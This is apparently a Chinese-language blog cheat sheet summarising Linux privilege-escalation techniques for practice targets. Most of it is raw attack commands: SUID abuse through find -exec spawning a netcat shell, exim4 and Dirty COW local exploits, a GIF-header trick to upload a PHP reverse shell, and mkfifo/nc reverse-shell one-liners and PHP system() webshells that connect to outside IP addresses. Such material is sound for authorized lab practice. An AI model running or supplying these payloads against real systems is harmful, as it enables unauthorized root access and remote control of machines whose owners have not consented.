1 find root权限提权

find / -perm -u=s -type f 2>/dev/null

靶场提权总结

查看find权限

find /var/www/index.php -exec whoami \;

返回为“root”

设置nc 反弹shell

find /var/www/index.php -exec nc -lvp 9999 -e /bin/sh \;

2 exim4 提权

find / -perm -u=s -type f 2>/dev/null

找到root权限的文件

查看版本号 /usr/bin/exim4 --version

靶场提权总结

searchsploit exim

靶场提权总结

查看文件类型,用vim打开在末行命令中输入:set ff

靶场提权总结

若为其他类型,设置:set ff=unix

python -m SimpleHTTPServer 8000 开启临时web

靶机中下载,修改权限。执行例如shell.sh -m netcat

3脏牛提权

Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复

 https://github.com/FireFart/dirtycow

编译执行

 gcc -pthread dirty.c -o dirty -lcrypt
***gif上传法
Content-Disposition: form-data; name="fileToUpload"; filename="shell.gif"

Content-Type: image/gif

 

GIF98<?php

// php-reverse-shell - A Reverse Shell implementation in PHP

// Copyright (C) 2007 [email protected]

上述红色位置,GIF98 加在文件头位置。

4nc 反弹

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 1234 >/tmp/f;

 

web反弹

 

 

<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 1234 >/tmp/f;");

?> 

 

<?php
system("nc -e /bin/sh 192.168.190.178 4444");

?> 

kali自带webshell

/usr/share/webshells/
 

python 开启shell终端

python -c 'import pty;pty.spawn("/bin/bash")'

 


 

相关文章: